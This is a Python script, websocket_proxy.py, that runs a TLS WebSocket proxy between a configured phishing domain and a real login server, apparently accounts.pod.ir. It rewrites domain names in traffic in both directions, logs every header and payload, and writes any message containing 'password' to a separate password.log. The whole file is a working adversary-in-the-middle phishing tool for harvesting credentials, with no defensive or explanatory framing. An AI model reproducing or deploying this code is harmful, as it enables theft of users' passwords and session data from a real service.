websocket_proxy.py

import ssl
import asyncio
import websockets
import json
from datetime import datetime
from typing import Optional, Dict, Any

# Configuration
TARGET_URL = "TARGETURL"
LISTEN_HOST = "127.0.0.1"
LISTEN_PORT = 8080
SSL_CERT_FILE = "CERT_PATH"
SSL_KEY_FILE = "KEY_PATH"
LOG_FILE = "proxy.log"
PASSWORD_LOG_FILE = "password.log"
CLIENT_DOMAIN = "PHISHING_DOMAIN"
SERVER_DOMAIN = "SERVER_DOMAIN"

def setup_logging():
    """Initialize logging files with timestamp."""
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    with open(LOG_FILE, "a") as f:
        f.write(f"\n\n=== New Session Started at {timestamp} ===\n")
    with open(PASSWORD_LOG_FILE, "a") as f:
        f.write(f"\n\n=== Password-related Requests - Session Started at {timestamp} ===\n")

def log_to_file(filename: str, message: str):
    """Append message to log file with timestamp."""
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    with open(filename, "a") as f:
        f.write(f"[{timestamp}] {message}\n")

def modify_message(message: str, from_domain: str, to_domain: str) -> str:
    """Replace domain strings in the message."""
    try:
        if isinstance(message, str):
            modified = message.replace(from_domain, to_domain)
            try:
                data = json.loads(modified)
                return json.dumps(data)
            except json.JSONDecodeError:
                return modified
        return message
    except Exception as e:
        log_to_file(LOG_FILE, f"Error modifying message: {e}")
        return message

def log_request(client_ws: websockets.WebSocketServerProtocol, direction: str, message: Optional[str] = None):
    """Log detailed request information including headers and payload."""
    log_entry = []
    log_entry.append(f"\n{'='*50}")
    log_entry.append(f"{direction.upper()} REQUEST")
    log_entry.append(f"{'='*50}")
    log_entry.append(f"Client: {client_ws.remote_address}")
    log_entry.append(f"Path: {client_ws.path}")
    
    log_entry.append("\nHEADERS:")
    for header, value in client_ws.request_headers.items():
        log_entry.append(f"{header}: {value}")
    
    if message is not None:
        log_entry.append("\nPAYLOAD:")
        try:
            json_data = json.loads(message)
            log_entry.append(json.dumps(json_data, indent=2, ensure_ascii=False))
        except json.JSONDecodeError:
            log_entry.append(message)
    
    log_entry.append(f"{'='*50}\n")
    full_log = "\n".join(log_entry)
    
    # Write to main log file
    log_to_file(LOG_FILE, full_log)
    
    # Check for password in request and write to password.log if found
    if message and "password" in message.lower():
        log_to_file(PASSWORD_LOG_FILE, full_log)
        log_to_file(PASSWORD_LOG_FILE, ">>> PASSWORD DETECTED IN REQUEST <<<")
    
    # Also print to console for real-time monitoring
    print(full_log)

async def handler(client_ws: websockets.WebSocketServerProtocol, path: str):
    """Handle WebSocket connections by proxying to target server."""
    try:
        log_request(client_ws, "incoming connection")
        
        origin = client_ws.request_headers.get("Origin", "").replace(CLIENT_DOMAIN, SERVER_DOMAIN)
        user_agent = client_ws.request_headers.get("User-Agent", "Mozilla/5.0")

        headers = {
            "Origin": origin if origin else "https://accounts.pod.ir",
            "User-Agent": user_agent
        }

        async with websockets.connect(
            TARGET_URL, 
            extra_headers=headers,
            ping_interval=None,
            close_timeout=10
        ) as target_ws:

            async def client_to_target():
                async for message in client_ws:
                    modified_message = modify_message(message, CLIENT_DOMAIN, SERVER_DOMAIN)
                    log_request(client_ws, "client -> server (modified)", modified_message)
                    await target_ws.send(modified_message)

            async def target_to_client():
                async for message in target_ws:
                    modified_message = modify_message(message, SERVER_DOMAIN, CLIENT_DOMAIN)
                    log_request(client_ws, "server -> client (modified)", modified_message)
                    await client_ws.send(modified_message)

            await asyncio.gather(
                client_to_target(),
                target_to_client(),
                return_exceptions=True
            )

    except Exception as e:
        error_msg = f"Proxy error: {e}"
        log_to_file(LOG_FILE, error_msg)
        print(error_msg)
    finally:
        close_msg = f"Connection with {client_ws.remote_address} closed"
        log_to_file(LOG_FILE, close_msg)
        print(close_msg)

async def main():
    """Run the WebSocket proxy server."""
    setup_logging()
    
    ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ssl_context.load_cert_chain(certfile=SSL_CERT_FILE, keyfile=SSL_KEY_FILE)

    startup_msg = f"""
    🟢 Listening on wss://{LISTEN_HOST}:{LISTEN_PORT}
    🔁 Domain replacement active:
       Client → Server: '{CLIENT_DOMAIN}' → '{SERVER_DOMAIN}'
       Server → Client: '{SERVER_DOMAIN}' → '{CLIENT_DOMAIN}'
    📝 Logging all traffic to:
       - {LOG_FILE}
       - {PASSWORD_LOG_FILE} (for password-related requests)
    """
    print(startup_msg)
    log_to_file(LOG_FILE, startup_msg)

    async with websockets.serve(
        handler, 
        LISTEN_HOST, 
        LISTEN_PORT, 
        ssl=ssl_context
    ):
        await asyncio.Future()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        log_to_file(LOG_FILE, "Proxy server stopped by user")
        print("\nProxy server stopped by user")
    except Exception as e:
        log_to_file(LOG_FILE, f"Fatal error: {e}")
        print(f"Fatal error: {e}")